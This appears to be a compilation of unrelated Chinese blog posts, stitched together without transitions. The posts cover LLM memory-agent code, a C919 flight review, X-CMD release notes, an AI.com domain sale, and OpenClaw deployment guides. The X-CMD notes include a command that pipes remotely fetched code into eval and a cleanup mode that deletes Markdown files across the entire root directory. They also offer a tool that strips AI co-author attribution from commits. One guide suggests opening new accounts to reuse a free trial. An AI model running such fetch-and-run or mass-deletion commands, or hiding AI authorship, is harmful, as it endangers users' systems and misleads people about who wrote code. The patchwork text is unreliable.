class DialogResponseGenerator(dspy.Signature): """你将收到用户与AI助手的历史对话文本及用户最新问题。 若无法从历史对话或自身知识库中回答问题,可调用向量库检索工具获取相关记忆。 需输出最终响应,并判断是否需要将最新交互内容存入记忆库(仅当用户提供新信息时保存,不保存AI相关内容)。 """ dialog_history: list[dict] = dspy.InputField() # 历史对话 user_question: str = dspy.InputField() # 用户最新问题 final_response: str = dspy.OutputField() # 最终响应 need_save_memory: bool = dspy.OutputField( description="若最新交互需生成新记忆则为True,否则为False" )# 封装检索工具(省略权限校验代码)async def search_user_memories(search_content: str): """当对话需要补充上下文时,从向量库检索相关记忆 参数: search_content: 用于嵌入并执行相似性检索的文本 """ # 生成检索文本的向量 search_vec = (await create_text_embeddings([search_content]))[0] # 检索相似记忆(current_user_id为外部维护的当前用户ID) related_memories = await find_similar_memories( search_vector=search_vec, user_id=current_user_id ) # 格式化记忆结果 memory_str_list = [ f"记忆ID={m.point_id}\n内容={m.memory_content}\n创建时间={m.create_time}" for m in related_memories ] return {"related_memories": memory_str_list}# 初始化ReAct响应生成智能体response_agent = dspy.ReAct( DialogResponseGenerator, tools=[search_user_memories], # 绑定检索工具 max_iters=4 # 最大迭代次数)

除了向量相似性检索,实际应用中还可扩展其他检索策略:如基于BM-25/TF-IDF的关键词检索(适用于短文本精准匹配)、基于分类标签的精准过滤(适用于垂直领域对话)、基于时间范围的记忆筛选(适用于时效性强的场景)等,具体可根据业务场景选择。

记忆的全生命周期维护:自适应增删改查

记忆并非静态存储,需根据用户最新交互动态调整——例如用户修改偏好时,需更新对应记忆而非新增重复条目。本文基于ReAct框架构建记忆维护智能体,实现记忆的增、删、改、无操作(NOOP)决策。

记忆维护的核心实现

首先定义记忆维护的输入输出结构,明确智能体的决策目标(调整变量名与语法):

class MemoryWithID(BaseModel): mem_index: int # 记忆索引 mem_content: str # 记忆内容class MemoryUpdateSignature(dspy.Signature): """基于用户最新对话与已有相似记忆,决策记忆库的更新方式: - 新增:将新记忆作为独立条目插入库中(插入前需去重); - 更新:用新信息替换已有记忆; - 删除:移除矛盾或过时的记忆; - 无操作:无需调整记忆库。 需输出简短的操作总结(少于10字)。 """ dialog_messages: list[dict] = dspy.InputField() # 最新对话 existing_memories: list[MemoryWithID] = dspy.InputField() # 已有相似记忆 operation_summary: str = dspy.OutputField(description="操作总结,简短")# 记忆维护智能体核心逻辑(省略部分工具函数参数校验代码)async def memory_maintain_agent( user_id: int, dialog_msgs: list[dict], existing_mems: list[StoredMemory]): # 根据记忆索引获取点ID def get_point_id(mem_index): return existing_mems[mem_index].point_id# 新增记忆工具 async def add_new_memory(mem_text: str) -> str: """将新记忆插入向量数据库""" mem_emb = await create_text_embeddings([mem_text]) new_mem = StoredMemory( user_identity=user_id, memory_content=mem_text, create_time=datetime.now().strftime("%Y-%m-%d %H:%M"), vector_data=mem_emb[0] ) await add_memories_to_db([new_mem]) return f"新增记忆:{mem_text}"# 初始化记忆维护ReAct智能体 maintain_agent = dspy.ReAct( MemoryUpdateSignature, tools=[add_new_memory, update_existing_memory, delete_selected_memory, no_operation], max_iters=3 )# 执行维护决策 maintain_result = await maintain_agent.acall( dialog_messages=dialog_msgs, existing_memories=existing_mems ) return maintain_result.operation_summary

在实际业务场景中,该维护逻辑已验证可有效解决记忆冲突问题——例如用户从“喜欢咖啡”改为“喜欢茶”时,智能体会删除旧记忆并新增新记忆,而非保留两条矛盾条目,保障记忆库的准确性。

落地扩展与工程化优化建议

本文实现的记忆层为轻量化版本,在实际落地中可从以下方向扩展,进一步提升适配性:

  1. 图结构记忆系统:将向量数据库替换为图数据库,通过提取“主体-关系-客体”三元组替代扁平文本记忆,更贴合人类记忆的关联特性,适用于金融客户关系分析、电商用户行为溯源等场景;
  2. 多维度元数据标签:为记忆增加分类标签(如“饮食偏好”“消费习惯”)、时间戳等元数据,智能体可基于标签精准检索,降低无效检索开销;
  3. 用户专属提示词优化:将记忆库中的核心信息注入LLM的系统提示词,替代每次检索,提升响应速度,适用于高频次、短会话的智能客服场景;
  4. 文件化存储方案:用文件系统(如Markdown文件)替代向量数据库,通过正则、全文检索实现记忆管理,降低部署成本,适用于小型应用场景。

记忆层核心流程(竖版)

总结

  1. 本文基于上下文工程理念,拆解并实现了一套轻量化LLM记忆层,核心模块包含记忆提取、向量存储、检索与自适应维护,已在实际业务场景验证有效;
  2. 技术选型上适配国内环境,QDrant可开源部署,OpenAI嵌入模型可通过第三方服务商调用,也可替换为国产嵌入模型;
  3. 基于ReAct框架的双智能体设计,实现了记忆检索与维护的自主决策,解决了LLM无状态导致的个性化缺失问题,且提供24小时应急修复服务保障落地效率。

封面

春节前最后一趟出差,终于坐上了心心念念已久的国产大飞机 C919,补上一篇迟来的体验报告~ ✈️✈️✈️

吐槽与期待:迟来的国产大飞机 C919 体验报告


吐槽与期待:迟来的国产大飞机 C919 体验报告

春节前最后一趟出差,我终于坐上了心心念念的 国产大飞机 C919。 ✈️✈️✈️

之前几次想打卡都落空:要么航线仅限特定城市、时段集中在早班或深夜,明显是为轻载试运行安排;好不容易订到一班,起飞当天又被临时更换了机型,遗憾拉满。这趟总算如愿,补上这份迟来的真实体验。

640

一、第一印象

通过廊桥入座,舷窗外最抢眼的就是约 45° 上翘的融合式小翼,和常见的垂直 90° 小翼完全不同,我还特意做了功课对比:

1. 老式平直翼尖

机翼平直无特殊设计,翼尖涡流强、噪音大、油耗高,优点仅在于结构简单成本低,主要是一些老机型还在用,已经不太常见;

2. 垂直式小翼

就是我们常见的机翼末端有一个垂直 90° 的翼尖,省油效果突出,但风噪高、翼尖局部压力大,对结构强度挑战大,是主流机型空客 A320、老款波音 737 的标配;

3. 融合式小翼

机翼末端有一个倾斜 45° 的翼尖,平滑过渡无硬折,省油效果略逊于垂直式,但结构强度更高、安全性更好、客舱噪音更低,对材料与制造要求更高,是新一代波音 737 MAX、空客 A350 同款技术,C919 直接对标顶级水准。

单看这处设计,就能感受到 C919 不是「凑合用」,而是一步到位瞄准国际主流新机型的技术路线。

640 (1)

二、乘坐体验

进入客舱,整体布局和主流干线机高度一致。对一款追赶国际先进水平的国产首型干线机来说,「无感平替 A320 / 737」就是最大赞赏 —— 不用乘客重新适应,直接承接成熟市场的乘坐习惯,这本身就是成功。

但真实体验里,几个细节还是要吐槽一下:

1. 行李舱

本次航班满员,随身行李直接把头顶行李舱塞满,后登机的乘客行李无处安放,乘务员折腾了好久才搞定。核心问题是行李舱的深度不够,没能最大化利用舱内空间,对满载航班不太友好。

640 (2)

2. 超薄座椅

采用超薄座椅 + 纤细扶手设计,换来了更宽裕的腿部与横向空间,久坐不压抑;材质质感在线,不会生硬硌背。
但缺少头枕,座椅包裹性不够,1-2 小时短途没有问题,超过 3 小时长途乘坐舒适度会打折扣

640 (3)

3. 服务呼唤铃

空调出风口与阅读灯整合,风向与光照指向统一,设计很科学。
但服务呼唤铃是平整的触控按键,和安全带指示灯集成在一起,不仔细看也以为是指示灯的一部分,找了半天最后问乘务员才确认,建议后续优化辨识度

640 (4)

4. 卫生间

专门去了一下卫生间,实测空间、设施与主流窄体机持平,无亮点也无硬伤,完美践行「平替」标准,够用就好。

640 (5)

三、机长广播

起飞前机长特意广播,强调本次航班为 国产大飞机 C919,不少乘客此前并未察觉今天的飞机有什么不同,听完立刻拿起手机拍照,看来感兴趣的并不是只有我一个人嘛哈哈~ 🤣🤣🤣

全程一小时飞行平稳,噪音控制在预期内;最终在细雨中降落在上海虹桥机场。说来好笑,这居然是我 第一次盼着不要停靠廊桥 —— 就想坐摆渡车才有机会拍一张飞机外景,心愿居然成真,冒雨也要定格这张 C919 全貌。

640 (6)

四、唯一遗憾

目前 C919 搭载的是 CFM LEAP-1C 发动机,作为 LEAP 系列专属 C 款,同系列 LEAP-1A 专属空客 A320 Neo、LEAP-1B 专属波音 737 MAX,是当前全球主流大涵道比先进发动机,省油且推力稳定,但依赖进口始终是短板。

好消息是,国产 长江 CJ-1000A 已完成 6000+ 小时极限测试,涵盖高原、结冰、鸟撞等严苛场景,2025 年 5 月已装机 C919 实机试飞,预计 2026 年二季度有望取得 CAAC 适航证,2027 年启动批量装机替代。届时 C919 将实现整机全自主可控,彻底摆脱外部「卡脖子」的威胁。

640 (7)

从一票难求、临飞换机,到雨中圆梦,这趟 C919 之旅满是惊喜与期待。它没有刻意追求花哨创新,而是用 成熟可靠的平替能力 站稳市场、逐步突破。

期待不久后,能够坐上搭载 纯国产发动机 的 C919,看中国造大飞机满载同胞,飞越更多城市上空,真正实现自主可控、翱翔无忧。 ✈️✈️✈️


吐槽与期待:迟来的国产大飞机 C919 体验报告

TLDR:

  • 新增 Kimi / 豆包 / GLM-4.7 / 摩尔线程 GPU 脚手架,一行命令即用。
  • Claude Code 全面增强:署名一键管理 + 支持接入国产 GPU + 实验级 best practice 模板。
  • gg 模块 独立并提速:Gemini + Google 搜索并发优化,10 秒内可用。
  • x gram 进入“防失控模式”:新增网络级熔断,stop 3/4/5 提供更激进的清理策略。

🚀 X-CMD v0.8.0 Beta 更新详情

kimi

新增 kimi 模块 —— 因为我花 7 块钱买了个 7 天试用账号。

既然要用,干脆把它整顺手点。我写了个脚手架,让它能在不同服务器和工作站快速部署。
不用你手动装依赖、配环境,一条命令就能跑起来。

试用到期了?卸载也一键搞定,不拖泥带水。

示例:

# 启动 Kimi Code,没装过的话会自动用 uv 帮你装好
x kimi

# 升级 kimi-cli 到最新版本
x kimi --upgrade

claude

新增 attribution|attr 子命令 —— 说实话,做这个功能是因为我自己有点烦。

你知道的,我最近开始使用 Claude Code,但模型可能用的是 DeepSeek。
然后,每次 Claude 的图标都稳稳在第二作者清单里面。
我只是单纯不喜欢这样。

当然,我相信 Claude Code 团队是出于善意的 —— 毕竟明确标注 AI 辅助生成的代码对用户是负责的。
而且他们也提供了关闭的方法(虽然藏得有点深)。

所以我干脆做了个一键工具,三种选择随你:

  • 直接删掉,干净利落:x claude attr rm
  • 不想完全去掉?可以改成通用的 Co-Authored-By: AI
  • 或者你自己定义,爱写啥写啥

示例:

# 开门见山,我不喜欢每次 commit 都带署名,直接移除
x claude attr rm

# 或者改成自己想要的
x claude attr use --msg "Co-Authored-By: deepseek <noreply@x-cmd.com>"

新增 mt 子命令 —— 摩尔线程也发开发者礼包了,30 天 lite 套餐免费试用,接的是 GLM 4.7。

我自己还没抢到资格,但先把脚手架搭好了。
等你们薅到羊毛,一条命令就能让 Claude Code 接上国产 GPU。

更多玩家入场,意味着更多选择。x-cmd 会持续跟踪这些福利(顺便继续薅)。

示例:

# Claude Code + 摩尔线程,一键启动
x claude mt

新增 create 子命令 —— 我们在整合各种 Claude Code 的 best practice。

说实话,我们团队也是 vibe coding 新手,还在摸索什么做法真的好用。
现在放出来的是实验版,给我们点时间慢慢迭代。

如果你愿意当小白鼠,欢迎试用,但别期待太高。

doubao

新增 doubao 模块 —— 说实话,我自己还没开始用。

但有用户提到了,我就先把脚手架搭好。
反正等你要用的时候,一条命令就能接入火山方舟的豆包模型。

示例:

# 交互式初始化
x doubao init

# 直接调用豆包模型
@doubao "Give me an example of recursion in Python"

gg

新增 gg 模块 —— 从 x gemini gg 里独立出来了,因为我用着真香。

免费的 Google 搜索 + Gemini,质量还高。但有个坑:Google 的引用结果都包了一层网页,以前得一一去请求,慢得要死。
晚上花了点时间给它做了并发,现在能控制在 10 秒内。

考虑到 Gemini 免费额度挺慷慨,质量也不错,再加上 AI 本来就要等会儿,我觉得这体验可以接受。

下一步会试着把它做成 skill,集成到各种 agent 里。如果你有更骚的玩法,欢迎分享。

示例:

# 让 Gemini 帮你 Google
x gg "关于 x-cmd?"

gram

x gram stop 2 新增了「网络熔断」能力 —— 说实话,我有点慌。

说不定不受限的智能体已经开始潜伏和攻击了。clawdbot 和 moltbook 现在正闹得凶 —— 这周日我们刚上线了一个应对站。
我们紧急上线了一个倡议站:https://bot-killer.x-cmd.com/

上个版本我们做了「按名字杀进程」和「memory 文件存档」。
这个版本,x gram 开始装备真家伙:一键熔断所有 HTTP/HTTPS 连接进程,直接按连接掐断进程。
防止恶意智能体通过网络"摇人",或者偷偷上传你的本地隐私。

同时新增了 stop 3/4/5 策略:

  • stop 3 —— 在 stop 2 基础上,打包并删除 $HOME 目录下所有包含 soul.md 和 memory.md 的文件夹
  • stop 4 —— 在 stop 3 基础上,额外杀掉所有正在使用这些 memory 文件夹的进程,实现「按名字杀」和「按文件杀」双重保障
  • stop 5 —— 在 stop 4 基础上,将搜索范围扩大到整个 / 目录(系统目录中只删 *.md 文件)

下一步?我打算用 AI 来帮助用户识别这些威胁。

zhipu

新增 glm-4.7glm-4.6 模型支持 —— 同上,我自己还没来得及细用。

但用户说需要,我就先加上。你想用哪个版本,直接 --model 指定就行。

示例:

@glm --model glm-4.7 "作为一名营销专家,请为我的产品创作一个吸引人的口号"

chat

修复了 x-cmd agent 的 JSON Unicode 兼容性问题 —— 测 Zhipu API 时踩的坑。

某些 Unicode 字符会让请求 JSON 直接报错,现已修复。

zuz

修复 zuz 模块稳定性问题。

其实这个问题我们早知道 —— 有人 alias 了 pwd,而 zuz 用的还是老的 pwd 命令。
zuz 代码一直很稳定,这么多年没动过。这次趁 @polymerase60053 提了 issue,我们用更好的方法重写了这部分逻辑。

感谢 @polymerase60053 的提醒!https://github.com/x-cmd/x-cmd/issues/370#issuecomment-3838483987

⬆️ 如何升级

现有用户可以通过以下命令快速切换至 Beta 版本进行体验:

x upgrade beta

如果你没有安装 x-cmd, 只需要打开你的终端:

eval "$(curl https://get.x-cmd.com)"

x-cmd 是一个一站式的命令行工具集,其强大的功能可以为人类用户和AI共同使用。它还简化了很多工具的安装方法。
如果你仍不知道如何安装,请参考 https://x-cmd.com/start

🤝 开发者反馈

如果您在自定义配置或代理设置中遇到任何疑问,欢迎前往 GitHub Issues 提交反馈,共同完善 X-CMD 生态。

互联网上一笔域名交易引发热议:象征“人工智能”(Artificial Intelligence)的三个字符域名 AI.com,以 约 7000 万美元(约合 4.8 亿元人民币) 的价格完成转让,这一数字刷新了目前已公开披露的互联网域名交易价格纪录。

这笔交易不仅价格惊人,还折射出一个时代级的技术方向:AI 已经不再只是技术名词,而是真正的商业入口。

PixPin_2026-02-09_14-54-47.png


🧠 为什么这次交易如此引人关注?

简单来说,这已经不是普通的“换个网址”那么简单:

  1. AI.com 这个域名本身具备极高的词义价值
    “AI” 是全球通用、无语言门槛的科技象征,它有可能成为未来人工智能产品、服务甚至生态的“默认入口”。
  2. 和传统域名不同,它代表了行业趋势
    和过去那些高价域名不同(如 Voice.com 等历史高价交易),AI.com 的价值增长并非单纯投机,而是和 AI 技术热潮密切相关。

💼 谁买下了 AI.com?

这次域名的买家是 加密货币交易平台 Crypto.com 的联合创始人兼 CEO Kris Marszalek。他通过加密货币形式支付了这笔资金。

据公开信息显示,这笔交易已经完成,Marszalek 和他的团队准备借助这个域名推出新的业务,并计划在 全球瞩目的体育赛事“超级碗”(Super Bowl)广告中 正式揭晓。


📍 AI.com“未来之门”的用途是什么?

目前多个媒体报道透露的信息显示,这个域名将承载一个 面向大众的 AI 智能代理平台

  • 用户可以创建专属的 AI 助手;
  • 能够发送消息、调用应用、执行操作(如股票交易);
  • 平台将采取“免费+付费订阅”模式,面向普通用户和高级功能用户同时开放。

换句话说,这不只是一个“技术展示”,它要成为普通人实际可以使用的 AI 服务入口。


🏆 这笔交易为何具有里程碑意义?

AI.com 的成交直接推高了顶级域名的价值认知:

  • 它是目前公开报道里最昂贵的互联网域名交易之一;
  • 价格超过过去多年的交易纪录:比如曾经出价 3000 万美元买下 Voice.com
  • 标志着 AI 相关品牌资产已经成为资本追逐的核心。

域名交易行业内部人士认为,短、通用、高辨识度的域名随着 AI 行业的成熟,其价值将继续上涨。


🔍 这笔成交告诉我们什么?

① AI 已从技术浪潮变成核心商业资产

这个域名价格被市面上买下,说明 AI 已不只存在于学术或开发语境中,而是成为一个具有广泛用户识别度的商业标签。

② 品牌入口成为未来竞争的重要战场

在用户获取成本不断攀升的背景下,直观、易记、无语言壁垒的入口本身就是一种资本。

③ 整个互联网正在向“智能入口时代”迈进

原来的网址时代是“内容+服务”,而这次交易体现了“智能+效率”的商业优先级正在迅速提升。


📌 总结

AI.com 以 7000 万美元成交,不仅刷新域名历史记录,更昭示着一个趋势:

人工智能时代不仅是技术升级,更是互联网资产价值重塑的开始。

它告诉我们:当一个行业进入爆发式增长阶段,围绕这个行业的基础“符号性资产”(比如 AI 的域名、品牌标识等)将成为新的价值高地。

image

22 年开始跑步到现在,之前一直都是瞎跑,没关注过心率和强度。

最近研究上课表了,按照高驰给的课表开始科学训练。

周末的 LSD 直接干了接近两小时,哈哈!还得是科学训练。

平时上班当牛马,运动才是生活啊!跑完很真的很放松,心情好多了,释放压力!

目前的目标是半马 1:45,希望两个月后能拿捏住!

大家好,分享一个刚上线的小项目:云烟花https://yunyanhua.top )。

起因

很多城市禁放/不方便放烟花,但过年总还是想"参与点热闹"。想做一个"不用真放,但能感受到全国/同城正在热闹"的线上体验,所以有了这个站。

核心玩法

  1. 地图选城:3D 中国地图,点击省份可下钻到具体城市,或直接搜索定位。
  2. 点燃夜空:进入城市页面后点击屏幕即可发射烟花;可选昵称(会短暂飘在夜空/弹幕里)。
  3. 热度可视化:地图上用颜色(蓝→金→红)展示"最近 10 分钟各省/城市的活跃度",让你能直观看到"此刻哪里最热闹"。
  4. 背景风格:提供了 8 种风格(赛博朋克、水墨山水、极光雪原等),可以按喜好切换。

网址: https://yunyanhua.top (无需注册/登录,即开即用)

效果预览

地图热度可视化:

地图效果

烟花夜空:

烟花效果

想听听大家的建议

如果你试玩后有任何建议或发现问题,欢迎在评论区反馈,我会尽快改进。

上期我们介绍了如何部署Clawdbot AI的详细操作步骤【本地搭建 Clawdbot + ZeroNews 访问

本篇文章主要为已部署Clawbot AI的用户,提供了一种便捷、适配国内网络环境的远程管理解决方案——借助 ZeroNews 替代官网推荐的代理工具,实现OpenClaw GateWay Dashboard的远程访问;

同时针对性解决远程访问时可能出现的Gateway Token错误、设备授权错误两大常见问题,明确了远程Dashboard的全部可操作功能。

OpenClaw 是一个专为 AI 应用与智能体部署设计的高性能网关平台,它提供了统一的仪表盘(Gateway Dashboard)用于集中管理模型调用、渠道集成、技能插件、定时任务及节点监控。

基于 OpenClaw 构建的 Clawbot AI 是一款功能强大的 AI 产品,能够无缝接入多种对话模型与即时通信平台(如 WhatsApp、Telegram、Discord 等),并通过可扩展的技能系统实现自动化任务与智能交互。

完成 Clawbot AI 安装后(安装步骤可参考我们上期的文章),您将获得 OpenClaw Gateway Dashboard 的本地访问地址及唯一的 Gateway Token(后续配置需用到)。

图片

通过访问地址可以通过本地访问打开 OpenClaw Gateway Dashboard
默认访问地址:127.0.0.1:18789
图片

该地址仅支持本地网络访问。若需在外部网络环境下管理网关,官方文档提示我们需借助 Tailscale 或 VPN 等代理工具,但这些方式在国内网络环境中往往体验不佳。
图片

ZeroNews 远程映射配置

而通过我们的实测,ZeroNews可以完美的替代官网推荐的代理工具。
1、简单三步就能够实现 OpenClaw Gateway Dashboard 的远程访问。下载安装 ZeroNews Agent创建域名信息配置映射服务
2、提供IP黑白名单和鉴权认证。可以完美的解决暴露出来的 GateWay Dashboard 不受非授权IP访问和授权账号访问,提升服务的安全性。

远程Gateway Dashboard 错误问题处理

但是我们通过远程访问的时候,如果出现如下问题,可以通过下面的方法解决。

01 GateWay Token 错误

1、报错信息:
disconnected (1008): unauthorized: gateway token missing (open a tokenized dashboard URL or paste token in Control Ul settings)
图片

2、报错原因:第一次通过远程连接访问 OpenClaw Gateway Dashboard时,需要配置 GateWay Token,否则会出现错误。

3、解决方案:打开 Control / Overview 页面然后将上面安装时获取到的GateWay Token粘贴进去点击Connect连接
图片

02 设备授权错误

1、报错信息:disconnected (1008): pairing required
图片
2、错误原因:如果您使用一台新的设备去访问 OpenClaw Gateway Dashboard的 URL 时,除了需要配置上面的GateWay Token 之外,还需要对新的设备进行授权,否则会提示错误。

3、解决方法:

a) 首先,我们要打开到配置窗口,并执行设备列表查询命令
图片

图片

b) 这时候,可以看到上面会出现刚才请求连接访问的设备信息。我们需要记住 Request IDc) 接着,我们执行设备授权命令和重启网关命令
图片

图片

d) 执行完成之后,我们回到 GateWay 页面,点击刷新,可以看到 STATUS 为 Connected 状态,表明我们已经可以正常访问了。
图片

注意:

  • 一旦批准,设备会被记住,除非你使用命令 openclaw devices revoke --device <id> --role <role> 撤销它,否则不需要重新批准。
  • 每个浏览器配置文件生成唯一的设备 ID,因此切换浏览器或清除浏览器数据将需要重新配对。
  • 若等待授权的时间过长,Request ID会过期,需要重新点击 Connect 申请授权,并通过设备命令查询获取到新的Request ID进行授权。

e) 通过上述操作后,我们就可以在Chat页面与AI进行沟通了。
图片

远程 Gateway Dashboard 可以做什么

通过远程 Dashboard,您可以全面管理 OpenClaw 网关,包括:

  • 对话管理:通过 WebSocket 与模型聊天,支持流式工具调用与实时输出。
  • 渠道集成:管理 Telegram、WhatsApp、Discord、Slack 等渠道的状态、扫码登录与配置。
  • 实例监控:查看在线实例列表并即时刷新状态。
  • 会话控制:列出会话、调整会话的思考模式与详细设置。
  • 定时任务:管理 Cron 任务的添加、启用、禁用与执行历史。
  • 技能管理:查看技能状态、启用/禁用技能、安装新技能及更新密钥。
  • 节点管理:查看节点列表及其能力。
  • 执行审批:编辑网关与节点的允许列表,设置执行询问策略。
  • 配置编辑:查看或编辑 openclaw.json配置文件,支持表单与 JSON 两种编辑模式。
  • 调试与日志:查看系统状态、健康检查、模型快照、事件日志,支持实时日志跟踪与导出。
  • 更新操作:执行包更新或 Git 更新,并查看重启报告。

安全注意事项

1、IP 访问控制:
可以通过在映射页面,对此映射配置IP访问控制功能,实现仅允许白名单IP访问,非白名单IP无法访问。
图片

拒绝访问效果图
图片

2、鉴权认证管理:
可以通过在映射页面,对此映射配置鉴权认证,实现需要账号密码才能访问,进一步提升安全能力。
图片

开启鉴权效果图
图片

接下来,我们将继续深入挖掘更多实用、有趣的进阶玩法,敬请期待。

大家好啊,我是甲木。

这段时间不是一直在折腾 OpenClaw 么,

之前发的几篇教程类文章,对于很多小伙伴来说,还是门槛比较高,

正好前两天刚从百度智能云的 Agent 大会回来,还挺有意思的,趁热给大家聊聊(关于大会内容,放后边了~)。

现在,百度智能云也接入了 OpenClaw的极简版本,

并且发了一堆非常有意思的skills和百度官方工具,跟现有的OpenClaw打通也有很多的玩法,

我当时第一反应就是:

这不就是我一直在找的东西吗?

OpenClaw × 百度智能云 × 千帆 Skill ⽣态,一套组合拳下来,贼牛批..

好,先别急,我慢慢说。

今天这篇主要聊几件事:

  • 百度千帆上线了几个非常实用的Skills,直接接入OpenClaw
  • 百度智能云上搭 OpenClaw,到底有多简单
  • 三个我实际跑通的 Skills 玩法,真的能干活那种

那么,我们开始!

先说大会上最让我上头的东西

大会上发了不少东西,但最让我兴奋的,是「百度千帆工具及MCP广场」把百度的生态,直接接入OpenClaw了。

大家玩过 OpenClaw 都知道,这玩意儿的拓展性也在于 Skills,你给它装什么技能,它就能干什么活。

而现在百度智能云把「百度 AI 搜索、百度地图、百度网盘、OCR、语音识别」...这些百度自家的能力,全部以 MCP Server 和Skills的形式开放出来了。

以前你想给 OpenClaw 加个"搜索"能力,得自己找 API、写配置、调半天参数。

现在?去广场里挑一个,接进去,完事儿。

而且开发者还能自己开发 MCP Server 发布上去,免费托管,还能被百度搜索收录,等于白送你一波流量。

说白了,这就是给 Agent 开发者建了一个应用商店

而我这次重点关注到的,是已经上架的几个跟 OpenClaw 直接能打配合的 Skill

  • 百度搜索:实时信息检索,这是 Agent 的"眼睛"
  • 百度百科:知识查询和概念核实,相当于给 Agent 装了本百科全书
  • 学术检索:论文搜索和学术信息获取,做研究的朋友懂的
  • 智能 PPT 生成:搜完信息直接出汇报材料,一条龙
  • AI 绘本生成:把内容变成图文并茂的绘本,做内容创作的太需要了

这几个 Skill 单独用都挺好使,但更有意思的是,它们能组合起来用

后面我会专门聊几个我自己跑通的组合玩法,先按下不表。

百度智能云上搭 OpenClaw,到底有多简单

已经部署好Openclaw的朋友可以直接跳过本章,看下一节内容,

还没部署好,或者想要再白嫖优惠OpenClaw的可以看看本章。

前两篇文章之后,大家反馈最多的问题

关注我的朋友应该记得,前两天我连着肝了两篇 OpenClaw 的教程:

  • 第一篇是阿里云部署的,从买服务器到打通钉钉,全流程手把手
  • 第二篇更硬核,从 0 到 1 装官方原版,接了 Kimi K2.5,还搞了 Discord 远程操控

文章发完之后,后台和群里炸了..

大家问得最多的,基本就两类:

一类是:"甲木,我照着你教程做,环境配置那步就卡住了,报了一堆错,咋整?"

虽然我已经写得尽量保姆级了,但确实,

对于没怎么碰过命令行的朋友来说,配环境、装依赖、排报错这些东西..还是劝退了不少人。

另一类是:"教程里那些软件都是国外的,有没有更适合国内的方案?"

嗯,这个确实是痛点。

OpenClaw 原生适配的工具和渠道基本都是海外生态,国内想用好它,适配成本不低。

正好,

百度智能云这次直接上线了 OpenClaw 极简部署

https://cloud.baidu.com/product/BCC/moltbot.html

它同样直接提供了预装好 OpenClaw 环境的轻量应用服务器镜像。

你在控制台选这个镜像,创建实例,几分钟就能跑起来,啥都不用手动装。

更狠的是,它还搞了个限时免费体验首月免费,每天限量 500 台,先到先得。

之前阿里云那个 68 块一年大家就已经觉得香了,这次百度直接搞免费...

好家伙,卷起来了属于是。

部署完之后,你还能直接通过千帆平台接入文心、DeepSeek、Qwen 这些模型,不用自己到处去注册账号拿 API Key。

这对于小白来说,友好度直接拉满了。

搭建流程,三步搞定

第一步、买台服务器

打开百度智能云官网(https://cloud.baidu.com/product/BCC/moltbot.html),选轻量应用服务器。

几个关键的配置别选错:

  • 镜像:一定选 OpenClaw(Clawdbot) 应用镜像
  • 套餐:CPU 2核、内存 4GB 起步
  • 地域:按需选

如果有优惠的话,你会看到这个界面,

如果没优惠的话,你就只能按月付费了..

但我给你一个思路,可以新注册一个账号...

然后正常购买,

踩坑提醒:OpenClaw 是 Node.js 应用,比较吃内存。2G 内存裸跑偶尔会 OOM(内存溢出),建议搞一下 Swap 交换空间,不然跑着跑着进程就没了,问我怎么知道的..

第二步、配模型

服务器跑起来之后,进控制台:

等待实例创建完成后进入实例详情页,点击实例管理Tab

  1. 放通端口——防火墙那步,点一下「一键开通」就行

这里需要注意,按量计费

这里是直接按使用量计费的,需要注意。如果不想走千帆平台的,我们可以直接用它的服务器,然后自己搭建镜像,就跟那篇文章教大家的一样。
  1. 防火墙放通18789端口

访问openclaw官网网站需要通过18789端口访问,点击“一键放行”放行防火墙18789端口。

  1. 接大模型——通过千帆平台配,文心、Qwen、DeepSeek 都能选

到这里,三步其实就完事了,但千帆的好处是,选完模型之后还能顺手去 MCP 广场挑几个工具,直接给你的 OpenClaw 装上技能包

这步体验下来确实比之前丝滑不少。

第三步、选你的操作渠道(可选)

可以直接在消息平台配置选择接入飞书、企业微信、钉钉、QQ

每一个接入过程都有详细地文档,可以按需使用,然后点击应用

比如,QQ接入,https://cloud.baidu.com/doc/LS/s/xml9eru3h

这里不再赘述,我直接接入了QQ。

第四步、选择skills(可选)

接入了百度搜索、百度百科skills,这里按需选择,直接点击应用


到这里,基本就配置完成了,你可以选择页面访问,

也可以直接QQ对话。

三个我实际跑通的 Skills 玩法,真的能干活那种

平台工具说了这么多,最终还是得落地。

百度搜索、百度百科、学术检索、智能PPT生成和AI绘本生成,这几个skills的可玩性挺多的。

关于如何在OpenClaw中添加百度的skills,我们可以直接看https://cloud.baidu.com/doc/qianfan/s/Mmlda41a2中的内容。

直接一句话添加,剩下的交给OpenClaw就可以了:

下面分享三个我自己跑通的场景。

不局限于OpenClaw,ClaudeCode、OpenClaude,都可以直接接入这几个skills,直接施展组合技。

玩法一:热点追踪 → 一键出图文材料

用到的 Skills:百度搜索 + 智能 PPT 生成 / AI 绘本生成

这个场景特别适合做内容、做运营的朋友。

我试了一下,直接给 OpenClaw 扔了一句话:

"帮我搜一下今天 AI 领域最重要的三条新闻,然后整理成一份简报 PPT。"

它的执行链路大概是这样的:

  1. 先调用百度搜索 Skill,从全网检索实时信息
  2. 自动筛选、去重、提取核心内容
  3. 把整理好的内容丢给智能 PPT 生成 Skill
  4. 直接输出一份带标题、分页、核心要点的 PPT

整个过程我啥也没干,就等着收材料。

如果你不想要 PPT 格式,换成 AI 绘本生成也行——它会把新闻内容变成图文并茂的绘本形式,特别适合发朋友圈或者做社交媒体内容。

以前做一份热点简报,你得先翻一圈新闻网站,然后自己写摘要,再打开 PPT 模板排版..

【插入PPT GIF图片】

现在一句话搞定。

这个场景还能拓展:

  • 每天早上定时跑一次,自动生成 AI 行业早报
  • 输入某个关键词,自动追踪相关热点并生成周报
  • 做竞品监控,一有动态就出分析材料

核心逻辑就是:搜索 Skill 负责"找信息",PPT/绘本 Skill 负责"出成果",中间 Agent 负责"串起来"。

玩法二:学术研究 Agent:会查资料、会核实、还会追问

用到的 Skills:学术检索 + 百度百科 + 深度研究 Agent

这个场景偏硬核一些,适合做研究、做咨询、写报告的朋友。

普通的 AI 搜索是这样的:你问一个问题,它给你一个答案,完事了。

但接上学术检索百度百科这两个 Skill 之后,OpenClaw 干的事就不一样了。

我试着让它研究一个课题:AI Agent 在企业服务领域的落地现状与挑战

它的工作方式是这样的:

  1. 拆解问题——把一个大课题拆成几个子问题

  1. 调用学术检索 Skill,去找相关的论文和研究报告

  1. 遇到不确定的概念,自动调用百度百科 Skill去核实

  1. 整理完一轮之后,它自己又追加了几个问题继续深挖

它更像是一个真的会做研究的助手,不只是搜,还会交叉验证、会追问、会自己判断哪些信息还不够。

